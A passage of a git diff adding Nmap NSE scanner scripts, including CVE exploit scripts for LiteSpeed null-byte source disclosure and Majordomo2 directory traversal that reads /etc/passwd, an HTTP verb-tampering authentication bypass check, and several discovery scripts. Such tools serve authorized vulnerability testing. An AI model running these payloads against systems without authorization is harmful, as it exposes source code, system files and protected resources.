+ report = callback_bruteforce(host, port, target)
+ if report ~= nil then
+ table.insert(output_xml['jsonp-endpoints'], target)
+ output_str = string.format("%s\n%s", output_str, report)
+ end
+ end
+
+ end
+
+ end
+
+ --A way to print returnable
+ if next(output_xml['jsonp-endpoints']) then
+ return output_xml, output_str
+ else
+ if nmap.verbosity() > 1 then
+ return "Couldn't find any JSONP endpoints."
+ end
+ end
+
+end
diff --git a/scripts/http-litespeed-sourcecode-download.nse b/scripts/http-litespeed-sourcecode-download.nse
new file mode 100644
index 0000000..e21c5ae
--- /dev/null
+++ b/scripts/http-litespeed-sourcecode-download.nse
@@ -0,0 +1,75 @@
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Exploits a null-byte poisoning vulnerability in Litespeed Web Servers 4.0.x
+before 4.0.15 to retrieve the target script's source code by sending a HTTP
+request with a null byte followed by a .txt file extension (CVE-2010-2333).
+
+If the server is not vulnerable it returns an error 400. If index.php is not
+found, you may try /phpinfo.php which is also shipped with LiteSpeed Web
+Server. The attack payload looks like this:
+* <code>/index.php\00.txt</code>
+
+References:
+* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2333
+* http://www.exploit-db.com/exploits/13850/
+]]
+
+---
+-- @usage
+-- nmap -p80 --script http-litespeed-sourcecode-download --script-args http-litespeed-sourcecode-download.uri=/phpinfo.php <host>
+-- nmap -p8088 --script http-litespeed-sourcecode-download <host>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 8088/tcp open radan-http syn-ack
+-- | http-litespeed-sourcecode-download.nse: /phpinfo.php source code:
+-- | <HTML>
+-- | <BODY>
+-- | <?php phpinfo() ?>
+-- | </BODY>
+-- |_</HTML>
+--
+-- @args http-litespeed-sourcecode-download.uri URI path to remote file
+---
+
+author = "Paulino Calderon <calderon@websec.mx>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "intrusive", "exploit"}
+
+
+portrule = shortport.http
+
+action = function(host, port)
+ local output = {}
+ local rfile = stdnse.get_script_args("http-litespeed-sourcecode-download.uri") or "/index.php"
+
+ stdnse.debug1("Trying to download the source code of %s", rfile)
+ --we append a null byte followed by ".txt" to retrieve the source code
+ local req = http.get(host, port, rfile.."\00.txt")
+
+ --If we don't get status 200, the server is not vulnerable
+ if req.status then
+ if req.status ~= 200 then
+ if req.status == 400 and nmap.verbosity() >= 2 then
+ output[#output+1] = "Request with null byte did not work. This web server might not be vulnerable"
+ elseif req.status == 404 and nmap.verbosity() >= 2 then
+ output[#output+1] = string.format("Page: %s was not found. Try with an existing file.", rfile)
+ end
+ stdnse.debug2("Request status:%s body:%s", req.status, req.body)
+ else
+ output[#output+1] = "\nLitespeed Web Server Source Code Disclosure (CVE-2010-2333)"
+ output[#output+1] = string.format("%s source code:", rfile)
+ output[#output+1] = req.body
+ end
+ end
+
+ if #output>0 then
+ return table.concat(output, "\n")
+ end
+end
diff --git a/scripts/http-ls.nse b/scripts/http-ls.nse
new file mode 100644
index 0000000..07fba76
--- /dev/null
+++ b/scripts/http-ls.nse
@@ -0,0 +1,193 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local ls = require "ls"
+local have_ssl, openssl = pcall(require,'openssl')
+
+description = [[
+Shows the content of an "index" Web page.
+
+TODO:
+ - add support for more page formats
+]]
+
+author = "Pierre Lalet"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+---
+-- @usage
+-- nmap -n -p 80 --script http-ls test-debit.free.fr
+--
+-- @args http-ls.checksum compute a checksum for each listed file. Requires OpenSSL.
+-- (default: false)
+-- @args http-ls.url base URL path to use (default: /)
+--
+-- @output
+-- PORT STATE SERVICE
+-- 80/tcp open http
+-- | http-ls:
+-- | Volume /
+-- | maxfiles limit reached (10)
+-- | SIZE TIME FILENAME
+-- | 524288 02-Oct-2013 18:26 512.rnd
+-- | 1048576 02-Oct-2013 18:26 1024.rnd
+-- | 2097152 02-Oct-2013 18:26 2048.rnd
+-- | 4194304 02-Oct-2013 18:26 4096.rnd
+-- | 8388608 02-Oct-2013 18:26 8192.rnd
+-- | 16777216 02-Oct-2013 18:26 16384.rnd
+-- | 33554432 02-Oct-2013 18:26 32768.rnd
+-- | 67108864 02-Oct-2013 18:26 65536.rnd
+-- | 1073741824 03-Oct-2013 16:46 1048576.rnd
+-- | 188 03-Oct-2013 17:15 README.html
+-- |_
+--
+-- @xmloutput
+-- <table key="volumes">
+-- <table>
+-- <elem key="volume">/</elem>
+-- <table key="files">
+-- <table>
+-- <elem key="size">524288</elem>
+-- <elem key="time">02-Oct-2013 18:26</elem>
+-- <elem key="filename">512.rnd</elem>
+-- </table>
+-- <table>
+-- <elem key="size">1048576</elem>
+-- <elem key="time">02-Oct-2013 18:26</elem>
+-- <elem key="filename">1024.rnd</elem>
+-- </table>
+-- <table>
+-- <elem key="size">2097152</elem>
+-- <elem key="time">02-Oct-2013 18:26</elem>
+-- <elem key="filename">2048.rnd</elem>
+-- </table>
+-- <table>
+-- <elem key="size">4194304</elem>
+-- <elem key="time">02-Oct-2013 18:26</elem>
+-- <elem key="filename">4096.rnd</elem>
+-- </table>
+-- <table>
+-- <elem key="size">8388608</elem>
+-- <elem key="time">02-Oct-2013 18:26</elem>
+-- <elem key="filename">8192.rnd</elem>
+-- </table>
+-- <table>
+-- <elem key="size">16777216</elem>
+-- <elem key="time">02-Oct-2013 18:26</elem>
+-- <elem key="filename">16384.rnd</elem>
+-- </table>
+-- <table>
+-- <elem key="size">33554432</elem>
+-- <elem key="time">02-Oct-2013 18:26</elem>
+-- <elem key="filename">32768.rnd</elem>
+-- </table>
+-- <table>
+-- <elem key="size">67108864</elem>
+-- <elem key="time">02-Oct-2013 18:26</elem>
+-- <elem key="filename">65536.rnd</elem>
+-- </table>
+-- <table>
+-- <elem key="size">1073741824</elem>
+-- <elem key="time">03-Oct-2013 16:46</elem>
+-- <elem key="filename">1048576.rnd</elem>
+-- </table>
+-- <table>
+-- <elem key="size">188</elem>
+-- <elem key="time">03-Oct-2013 17:15</elem>
+-- <elem key="filename">README.html</elem>
+-- </table>
+-- </table>
+-- <table key="info">
+-- <elem>maxfiles limit reached (10)</elem>
+-- </table>
+-- </table>
+-- </table>
+-- <table key="total">
+-- <elem key="files">10</elem>
+-- <elem key="bytes">1207435452</elem>
+-- </table>
+
+portrule = shortport.http
+
+local function isdir(fname, size)
+ -- we consider a file is (probably) a directory if its name
+ -- terminates with a '/' or if the string representing its size is
+ -- either empty or a single dash ('-').
+ if string.sub(fname, -1, -1) == '/' then
+ return true
+ end
+ if size == '' or size == '-' then
+ return true
+ end
+ return false
+end
+
+local function list_files(host, port, url, output, maxdepth, basedir)
+ basedir = basedir or ""
+
+ local resp = http.get(host, port, url)
+
+ if resp.location or not resp.body then
+ return true
+ end
+
+ if not string.match(resp.body, "<[Tt][Ii][Tt][Ll][Ee][^>]*> *[Ii][Nn][Dd][Ee][Xx] +[Oo][Ff]") then
+ return true
+ end
+
+ local patterns = {
+ '<[Aa] [Hh][Rr][Ee][Ff]="([^"]+)">[^<]+</[Aa]> *</[Tt][Dd]><[Tt][Dd][^>]*> *([0-9]+-[A-Za-z0-9]+-[0-9]+ [0-9]+:[0-9]+) *</[Tt][Dd]><[Tt][Dd][^>]*> *([^<]-) *</[Tt][Dd]>',
+ '<[Aa] [Hh][Rr][Ee][Ff]="([^"]+)">[^<]+</[Aa]> *([0-9]+-[A-Za-z0-9]+-[0-9]+ [0-9]+:[0-9]+) *([^ \r\n]+)',
+ }
+ for _, pattern in ipairs(patterns) do
+ for fname, date, size in string.gmatch(resp.body, pattern) do
+ local continue = true
+ local directory = isdir(fname, size)
+ if have_ssl and ls.config('checksum') and not directory then
+ local checksum = ""
+ local resp = http.get(host, port, url .. fname)
+ if not resp.location and resp.body then
+ checksum = stdnse.tohex(openssl.sha1(resp.body))
+ end
+ continue = ls.add_file(output, {size, date, basedir .. fname, checksum})
+ else
+ continue = ls.add_file(output, {size, date, basedir .. fname})
+ end
+ if not continue then
+ return false
+ end
+ if directory then
+ if string.sub(fname, -1, -1) ~= "/" then fname = fname .. '/' end
+ continue = true
+ if maxdepth > 0 then
+ continue = list_files(host, port, url .. fname, output, maxdepth - 1,
+ basedir .. fname)
+ elseif maxdepth < 0 then
+ continue = list_files(host, port, url .. fname, output, -1,
+ basedir .. fname)
+ end
+ if not continue then
+ return false
+ end
+ end
+ end
+ end
+ return true
+end
+
+action = function(host, port)
+ local url = stdnse.get_script_args(SCRIPT_NAME .. '.url') or "/"
+
+ local output = ls.new_listing()
+ ls.new_vol(output, url, false)
+ local continue = list_files(host, port, url, output, ls.config('maxdepth'))
+ if not continue then
+ ls.report_info(
+ output,
+ string.format("maxfiles limit reached (%d)", ls.config('maxfiles')))
+ end
+ ls.end_vol(output)
+ return ls.end_listing(output)
+end
diff --git a/scripts/http-majordomo2-dir-traversal.nse b/scripts/http-majordomo2-dir-traversal.nse
new file mode 100644
index 0000000..2254ee8
--- /dev/null
+++ b/scripts/http-majordomo2-dir-traversal.nse
@@ -0,0 +1,96 @@
+local http = require "http"
+local io = require "io"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Exploits a directory traversal vulnerability existing in Majordomo2 to retrieve remote files. (CVE-2011-0049).
+
+Vulnerability originally discovered by Michael Brooks.
+
+For more information about this vulnerability:
+* http://www.mj2.org/
+* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0049
+* http://www.exploit-db.com/exploits/16103/
+]]
+
+---
+-- @usage
+-- nmap -p80 --script http-majordomo2-dir-traversal <host/ip>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 80/tcp open http syn-ack
+-- | http-majordomo2-dir-traversal: /etc/passwd was found:
+-- |
+-- | root:x:0:0:root:/root:/bin/bash
+-- | bin:x:1:1:bin:/bin:/sbin/nologin
+-- |
+--
+-- @args http-majordomo2-dir-traversal.rfile Remote file to download. Default: /etc/passwd
+-- @args http-majordomo2-dir-traversal.uri URI Path to mj_wwwusr. Default: /cgi-bin/mj_wwwusr
+-- @args http-majordomo2-dir-traversal.outfile If set it saves the remote file to this location.
+--
+-- Other arguments you might want to use with this script:
+-- * http.useragent - Sets user agent
+--
+
+author = "Paulino Calderon <calderon@websec.mx>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "vuln", "exploit"}
+
+
+portrule = shortport.http
+
+local MAJORDOMO2_EXPLOIT_QRY = "?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../.."
+local MAJORDOMO2_EXPLOIT_URI = "/cgi-bin/mj_wwwusr"
+local DEFAULT_REMOTE_FILE = "/etc/passwd"
+
+---
+--Writes string to file
+--Taken from: hostmap.nse
+local function write_file(filename, contents)
+ local f, err = io.open(filename, "w")
+ if not f then
+ return f, err
+ end
+ f:write(contents)
+ f:close()
+ return true
+end
+
+---
+-- MAIN
+---
+action = function(host, port)
+ local response, rfile, rpath, uri, evil_uri, rfile_content, filewrite
+ local output_lines = {}
+
+ filewrite = stdnse.get_script_args("http-majordomo2-dir-traversal.outfile")
+ uri = stdnse.get_script_args("http-majordomo2-dir-traversal.uri") or MAJORDOMO2_EXPLOIT_URI
+ rfile = stdnse.get_script_args("http-majordomo2-dir-traversal.rfile") or DEFAULT_REMOTE_FILE
+ evil_uri = uri..MAJORDOMO2_EXPLOIT_QRY..rfile
+
+ stdnse.debug1("HTTP GET %s%s", stdnse.get_hostname(host), evil_uri)
+ response = http.get(host, port, evil_uri)
+ if response.body and response.status==200 then
+ if response.body:match("unknowntopic") then
+ stdnse.debug1("[Error] The server is not vulnerable, '%s' was not found or the web server has insufficient permissions to read it", rfile)
+ return
+ end
+ local _
+ _, _, rfile_content = string.find(response.body, '<pre>(.*)<!%-%- Majordomo help_foot format file %-%->')
+ output_lines[#output_lines+1] = rfile.." was found:\n"..rfile_content
+ if filewrite then
+ local status, err = write_file(filewrite, rfile_content)
+ if status then
+ output_lines[#output_lines+1] = string.format("%s saved to %s\n", rfile, filewrite)
+ else
+ output_lines[#output_lines+1] = string.format("Error saving %s to %s: %s\n", rfile, filewrite, err)
+ end
+ end
+ return table.concat(output_lines, "\n")
+ end
+end
diff --git a/scripts/http-malware-host.nse b/scripts/http-malware-host.nse
new file mode 100644
index 0000000..f578b4a
--- /dev/null
+++ b/scripts/http-malware-host.nse
@@ -0,0 +1,81 @@
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Looks for signature of known server compromises.
+
+Currently, the only signature it looks for is the one discussed here:
+http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/.
+This is done by requesting the page <code>/ts/in.cgi?open2</code> and
+looking for an errant 302 (it attempts to detect servers that always
+return 302). Thanks to Denis from the above link for finding this
+technique!
+]]
+
+---
+--@output
+-- Interesting ports on www.sopharma.bg (84.242.167.49):
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- |_ http-malware-host: Host appears to be clean
+-- 8080/tcp open http-proxy syn-ack
+-- | http-malware-host:
+-- | Host appears to be infected (/ts/in.cgi?open2 redirects to http://last-another-life.ru:8080/index.php)
+-- |_ See: http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/
+--
+
+author = "Ron Bowes"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"malware", "safe"}
+
+
+portrule = shortport.http
+
+action = function(host, port)
+ -- Check what response we get for a 404
+ local result, result_404, known_404 = http.identify_404(host, port)
+ if(result == false) then
+ return stdnse.format_output(false, "Couldn't identify 404 message: " .. result_404)
+ end
+
+ -- If the 404 result is a 302, we're going to have trouble
+ if(result_404 == 302) then
+ return stdnse.format_output(false, "Unknown pages return a 302 response; unable to check")
+ end
+
+ -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the test
+ if ( result_404 == 200 ) then
+ stdnse.debug1("Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", host.ip, port.number)
+ return false
+ end
+
+ -- Perform a GET request on the file
+ result = http.get(host, port, "/ts/in.cgi?open2")
+ if(not(result)) then
+ return stdnse.format_output(false, "Couldn't perform GET request")
+ end
+
+ if(result.status == 302) then
+ local response = {}
+ if(result.header.location) then
+ table.insert(response, string.format("Host appears to be infected (/ts/in.cgi?open2 redirects to %s)", result.header.location))
+ else
+ table.insert(response, "Host appears to be infected (/ts/in.cgi?open2 return a redirect")
+ end
+ table.insert(response, "See: http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/")
+ return stdnse.format_output(true, response)
+ end
+
+ -- Not infected
+ if(nmap.verbosity() > 0) then
+ return "Host appears to be clean"
+ else
+ return nil
+ end
+end
diff --git a/scripts/http-mcmp.nse b/scripts/http-mcmp.nse
new file mode 100644
index 0000000..55e4655
--- /dev/null
+++ b/scripts/http-mcmp.nse
@@ -0,0 +1,70 @@
+description = [[
+Checks if the webserver allows mod_cluster management protocol (MCMP) methods.
+
+The script sends a MCMP PING message to determine protocol support, then issues
+the DUMP command to dump the current configuration seen by mod_cluster_manager.
+
+References:
+
+* https://developer.jboss.org/wiki/Mod-ClusterManagementProtocol
+]]
+
+---
+-- @output
+-- | http-mcmp:
+-- | status: Mod_cluster Management Protocol enabled
+-- | version: 1.2.0.Final
+-- | dump:
+-- | balancer: [1] Name: mycluster Sticky: 1 [JSESSIONID]/[jsessionid] remove: 0 force: 0 Timeout: 0 maxAttempts: 1
+-- | node: [1:1],Balancer: mycluster,JVMRoute: 2ca5eb39-053e-336f-8708-85f753a3adf2,LBGroup: [],Host: 155.250.130.22,Port: 11000,Type: http,flushpackets: 0,flushwait: 10,ping: 10,smax: 1,ttl: 60,timeout: 0
+-- | node: [2:2],Balancer: mycluster,JVMRoute: 3fef9557-32f8-309f-9b9a-af1e6951ee17,LBGroup: [],Host: 155.250.130.21,Port: 11000,Type: http,flushpackets: 0,flushwait: 10,ping: 10,smax: 1,ttl: 60,timeout: 0
+-- | host: 1 [localhost] vhost: 1 node: 1
+-- | host: 2 [localhost] vhost: 1 node: 2
+-- | context: 1 [/stisvc] vhost: 1 node: 1 status: 1
+-- |_context: 2 [/stisvc] vhost: 1 node: 2 status: 1
+--
+--
+--<elem key="status">Mod_cluster Management Protocol enabled</elem>
+--<elem key="version">1.3.1.Final</elem>
+--<elem key="dump">&#xa;balancer: [1] Name: seta-cluster-jboss Sticky: 1 [JSESSIONID]/[jsessionid] remove: 0 force: 0 Timeout: 0 maxAttempts: 1&#xa;node: [1:1],Balancer: seta-cluster-jboss,JVMRoute: sv-seta-sas-jb1,LBGroup: [],Host: 10.20.98.38,Port: 8009,Type: ajp,flushpackets: 0,flushwait: 10,ping: 10,smax: 2,ttl: 60,timeout: 0&#xa;node: [2:2],Balancer: seta-cluster-jboss,JVMRoute: sv-seta-sas-jb2,LBGroup: [],Host: 10.20.98.39,Port: 8009,Type: ajp,flushpackets: 0,flushwait: 10,ping: 10,smax: 2,ttl: 60,timeout: 0&#xa;host: 1 [example.com] vhost: 1 node: 1&#xa;host: 2 [localhost] vhost: 1 node: 1&#xa;host: 3 [default-host] vhost: 1 node: 1&#xa;host: 4 [example.com] vhost: 1 node: 2&#xa;host: 5 [localhost] vhost: 1 node: 2&#xa;host: 6 [default-host] vhost: 1 node: 2&#xa;context: 1 [/cgs] vhost: 1 node: 1 status: 1&#xa;context: 2 [/RequisicaoSeta] vhost: 1 node: 1 status: 1&#xa;context: 3 [/prodex-ensaio] vhost: 1 node: 1 status: 1&#xa;context: 4 [/gestordeacessos] vhost: 1 node: 1 status: 1&#xa;</elem>
+
+author = "Frank Spierings"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe", "discovery"}
+
+local stdnse = require "stdnse"
+local shortport = require "shortport"
+local http = require "http"
+local nmap = require "nmap"
+local table = require "table"
+
+portrule = shortport.http
+
+action = function(host, port)
+ local output = stdnse.output_table()
+ local response = http.generic_request(host, port, 'PING', '/')
+ if (response.status == 200 and http.response_contains(response, "Type=PING%-RSP")) then
+ output.status = 'Mod_cluster Management Protocol enabled'
+ if response.header.server then
+ local version = response.header.server:match('mod_cluster/(%d[%w%._%-]*)')
+ if version then
+ output.version = version
+ local cpe_found = false
+ port.version.cpe = port.version.cpe or {}
+ for _, cpe in ipairs(port.version.cpe) do
+ cpe_found = cpe:match('mod_cluster')
+ if cpe_found then break end
+ end
+ if not cpe_found then
+ table.insert(port.version.cpe, ("cpe:/a:redhat:mod_cluster:%s"):format(version))
+ nmap.set_port_version(host, port, "hardmatched")
+ end
+ end
+ end
+ response = http.generic_request(host, port, 'DUMP', '/')
+ if (response.status == 200) then
+ output.dump = "\n" .. response.body
+ end
+ return output
+ end
+end
diff --git a/scripts/http-method-tamper.nse b/scripts/http-method-tamper.nse
new file mode 100644
index 0000000..06ec87e
--- /dev/null
+++ b/scripts/http-method-tamper.nse
@@ -0,0 +1,176 @@
+description = [[
+Attempts to bypass password protected resources (HTTP 401 status) by performing HTTP verb tampering.
+If an array of paths to check is not set, it will crawl the web server and perform the check against any
+password protected resource that it finds.
+
+The script determines if the protected URI is vulnerable by performing HTTP verb tampering and monitoring
+ the status codes. First, it uses a HEAD request, then a POST request and finally a random generated string
+( This last one is useful when web servers treat unknown request methods as a GET request. This is the case
+ for PHP servers ).
+
+If the table <code>paths</code> is set, it will attempt to access the given URIs. Otherwise, a web crawler
+is initiated to try to find protected resources. Note that in a PHP environment with .htaccess files you need to specify a
+path to a file rather than a directory to find misconfigured .htaccess files.
+
+References:
+* http://www.imperva.com/resources/glossary/http_verb_tampering.html
+* https://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-CM-008%29
+* http://www.mkit.com.ar/labs/htexploit/
+* http://capec.mitre.org/data/definitions/274.html
+]]
+
+---
+-- @usage nmap -sV --script http-method-tamper <target>
+-- @usage nmap -p80 --script http-method-tamper --script-args 'http-method-tamper.paths={/protected/db.php,/protected/index.php}' <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-method-tamper:
+-- | VULNERABLE:
+-- | Authentication bypass by HTTP verb tampering
+-- | State: VULNERABLE (Exploitable)
+-- | Description:
+-- | This web server contains password protected resources vulnerable to authentication bypass
+-- | vulnerabilities via HTTP verb tampering. This is often found in web servers that only limit access to the
+-- | common HTTP methods and in misconfigured .htaccess files.
+-- |
+-- | Extra information:
+-- |
+-- | URIs suspected to be vulnerable to HTTP verb tampering:
+-- | /method-tamper/protected/pass.txt [POST]
+-- |
+-- | References:
+-- | http://www.imperva.com/resources/glossary/http_verb_tampering.html
+-- | http://www.mkit.com.ar/labs/htexploit/
+-- | http://capec.mitre.org/data/definitions/274.html
+-- |_ https://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-CM-008%29
+--
+-- @args http-method-tamper.uri Base URI to crawl. Not applicable if <code>http-method-tamper.paths</code> is set.
+-- @args http-method-tamper.paths Array of paths to check. If not set, the script will crawl the web server.
+-- @args http-method-tamper.timeout Web crawler timeout. Default: 10s
+---
+
+author = "Paulino Calderon <calderon@websec.mx>"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"auth", "vuln"}
+
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+local httpspider = require "httpspider"
+local vulns = require "vulns"
+local url = require "url"
+local string = require "string"
+local rand = require "rand"
+
+portrule = shortport.http
+
+--
+-- Checks if the web server does not return status 401 when requesting with other HTTP verbs.
+-- First, it tries with HEAD, POST and then with a random string.
+--
+local function probe_http_verbs(host, port, uri)
+ stdnse.debug2("Tampering HTTP verbs %s", uri)
+ local head_req = http.head(host, port, uri)
+ if head_req and head_req.status ~= 401 then
+ return true, "HEAD"
+ end
+ local post_req = http.post(host, port, uri)
+ if post_req and post_req.status ~= 401 then
+ return true, "POST"
+ end
+ --With a random generated verb we look for 400 and 501 status
+ local random_verb_req = http.generic_request(host, port, rand.random_alpha(4):upper(), uri)
+ local retcodes = {
+ [400] = true, -- Bad Request
+ [401] = true, -- Authentication needed
+ [501] = true, -- Invalid method
+ }
+ if random_verb_req and not retcodes[random_verb_req.status] then
+ return true, "GENERIC"
+ end
+
+ return false
+end
+
+action = function(host, port)
+ local vuln_uris = {}
+ local paths = stdnse.get_script_args(SCRIPT_NAME..".paths")
+ local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/"
+ local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
+ timeout = (timeout or 10) * 1000
+ local vuln = {
+ title = 'Authentication bypass by HTTP verb tampering',
+ state = vulns.STATE.NOT_VULN,
+ description = [[
+This web server contains password protected resources vulnerable to authentication bypass
+vulnerabilities via HTTP verb tampering. This is often found in web servers that only limit access to the
+ common HTTP methods and in misconfigured .htaccess files.
+ ]],
+ references = {
+ 'http://www.mkit.com.ar/labs/htexploit/',
+ 'http://www.imperva.com/resources/glossary/http_verb_tampering.html',
+ 'https://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-CM-008%29',
+ 'http://capec.mitre.org/data/definitions/274.html'
+ }
+ }
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+ -- If paths is not set, crawl the web server looking for http 401 status
+ if not(paths) then
+ local crawler = httpspider.Crawler:new(host, port, uri, { scriptname = SCRIPT_NAME } )
+ crawler:set_timeout(timeout)
+
+ while(true) do
+ local status, r = crawler:crawl()
+ if ( not(status) ) then
+ if ( r.err ) then
+ return stdnse.format_output(false, r.reason)
+ else
+ break
+ end
+ end
+ if r.response.status == 401 then
+ stdnse.debug2("%s is protected! Let's try some verb tampering...", tostring(r.url))
+ local parsed = url.parse(tostring(r.url))
+ local probe_status, probe_type = probe_http_verbs(host, port, parsed.path)
+ if probe_status then
+ stdnse.debug1("Vulnerable URI %s", uri)
+ table.insert(vuln_uris, parsed.path..string.format(" [%s]", probe_type))
+ end
+ end
+ end
+ else
+ -- Paths were set, check them and exit. No crawling here.
+
+ -- convert single string entry to table
+ if ( type(paths) == "string" ) then
+ paths = { paths }
+ end
+ -- iterate through given paths/files
+ for _, path in ipairs(paths) do
+ local path_req = http.get(host, port, path)
+
+ if path_req.status == 401 then
+ local probe_status, probe_type = probe_http_verbs(host, port, path)
+ if probe_status then
+ stdnse.debug1("Vulnerable URI %s", path)
+ table.insert(vuln_uris, path..string.format(" [%s]", probe_type))
+ end
+ end
+
+ end
+ end
+
+ if ( #vuln_uris > 0 ) then
+ vuln.state = vulns.STATE.EXPLOIT
+ vuln_uris.name = "URIs suspected to be vulnerable to HTTP verb tampering:"
+ vuln.extra_info = stdnse.format_output(true, vuln_uris)
+ end
+
+ return vuln_report:make_output(vuln)
+end
diff --git a/scripts/http-methods.nse b/scripts/http-methods.nse
new file mode 100644
index 0000000..ab724a5
--- /dev/null
+++ b/scripts/http-methods.nse
@@ -0,0 +1,235 @@
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+local tableaux = require "tableaux"
+local rand = require "rand"
+
+description = [[
+Finds out what options are supported by an HTTP server by sending an
+OPTIONS request. Lists potentially risky methods. It tests those methods
+not mentioned in the OPTIONS headers individually and sees if they are
+implemented. Any output other than 501/405 suggests that the method is
+if not in the range 400 to 600. If the response falls under that range then
+it is compared to the response from a randomly generated method.
+
+In this script, "potentially risky" methods are anything except GET,
+HEAD, POST, and OPTIONS. If the script reports potentially risky
+methods, they may not all be security risks, but you should check to
+make sure. This page lists the dangers of some common methods:
+
+http://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-CM-008%29
+
+The list of supported methods comes from the contents of the Allow and
+Public header fields. In verbose mode, a list of all methods is printed,
+followed by the list of potentially risky methods. Without verbose mode,
+only the potentially risky methods are shown.
+]]
+
+---
+-- @args http-methods.url-path The path to request. Defaults to
+-- <code>/</code>.
+-- @args http-methods.retest If defined, do a request using each method
+-- individually and show the response code. Use of this argument can
+-- make this script unsafe; for example <code>DELETE /</code> is
+-- possible. All methods received through options are tested with generic
+-- requests. Saved status lines are shown for rest.
+-- @args http-methods.test-all If set true tries all the unsafe methods as well.
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-methods:
+-- |_ Supported Methods: GET HEAD POST OPTIONS
+--
+-- @usage
+-- nmap --script http-methods <target>
+-- nmap --script http-methods --script-args http-methods.url-path='/website' <target>
+--
+-- @xmloutput
+-- <table key="Supported Methods">
+-- <elem>GET</elem>
+-- <elem>HEAD</elem>
+-- <elem>POST</elem>
+-- <elem>OPTIONS</elem>
+-- </table>
+--
+-- @see http-method-tamper.nse
+-- @see http-trace.nse
+-- @see http-put.nse
+
+
+author = {"Bernd Stroessenreuther <berny1@users.sourceforge.net>", "Gyanendra Mishra"}
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"default", "safe"}
+
+local function check_allowed(random_resp, response)
+ if response.status == 405 or response.status == 501 then
+ return false
+ end
+ if response.status < 600 and response.status >= 400 and response.status == random_resp.status then
+ return false
+ end
+ return true
+end
+
+local function filter_out(t, filter)
+ local result = {}
+ local _, e, f
+ for _, e in ipairs(t) do
+ if not tableaux.contains(filter, e) then
+ result[#result + 1] = e
+ end
+ end
+ return result
+end
+
+
+-- Split header field contents on commas and return a table without duplicates.
+local function merge_headers(headers, names)
+ local seen = {}
+ local result = {}
+
+ for _, name in ipairs(names) do
+ name = string.lower(name)
+ if headers[name] then
+ for _, v in ipairs(stringaux.strsplit(",%s*", headers[name])) do
+ if not seen[v] then
+ result[#result + 1] = v
+ end
+ seen[v] = true
+ end
+ end
+ end
+
+ return result
+end
+
+-- We don't report these methods except with verbosity.
+local SAFE_METHODS = {
+ "GET", "HEAD", "POST", "OPTIONS"
+}
+
+local UNSAFE_METHODS = {
+"DELETE", "PUT", "CONNECT", "TRACE"
+}
+
+portrule = shortport.http
+
+action = function(host, port)
+
+ local path, retest_http_methods, test_all_unsafe
+ local response, methods, options_status_line
+ local output = stdnse.output_table()
+ local options_status = true
+
+ local spacesep = {
+ __tostring = function(t)
+ return table.concat(t, " ")
+ end
+ }
+
+ -- default values for script-args
+ path = stdnse.get_script_args(SCRIPT_NAME .. ".url-path") or '/'
+ retest_http_methods = stdnse.get_script_args(SCRIPT_NAME .. ".retest") or false
+ test_all_unsafe = stdnse.get_script_args(SCRIPT_NAME .. ".test-all") or false
+
+ response = http.generic_request(host, port, "OPTIONS", path)
+ if not response.status then
+ options_status = false
+ stdnse.debug1("OPTIONS %s failed.", path)
+ end
+ -- Cache in case retest is requested.
+ if options_status then
+ options_status_line = response["status-line"]
+ stdnse.debug1("HTTP Status for OPTIONS is " .. response.status)
+ if not(response.header["allow"] or response.header["public"]) then
+ stdnse.debug1("No Allow or Public header in OPTIONS response (status code %d)", response.status)
+ end
+ end
+
+ -- The Public header is defined in RFC 2068, but was removed in its
+ -- successor RFC 2616. It is implemented by at least IIS 6.0.
+ methods = merge_headers(response.header, {"Allow", "Public"})
+
+ local to_test = {}
+ local status_lines = {}
+
+ for _, method in pairs(SAFE_METHODS) do
+ if not tableaux.contains(methods, method) then
+ table.insert(to_test, method)
+ end
+ end
+
+ if test_all_unsafe then
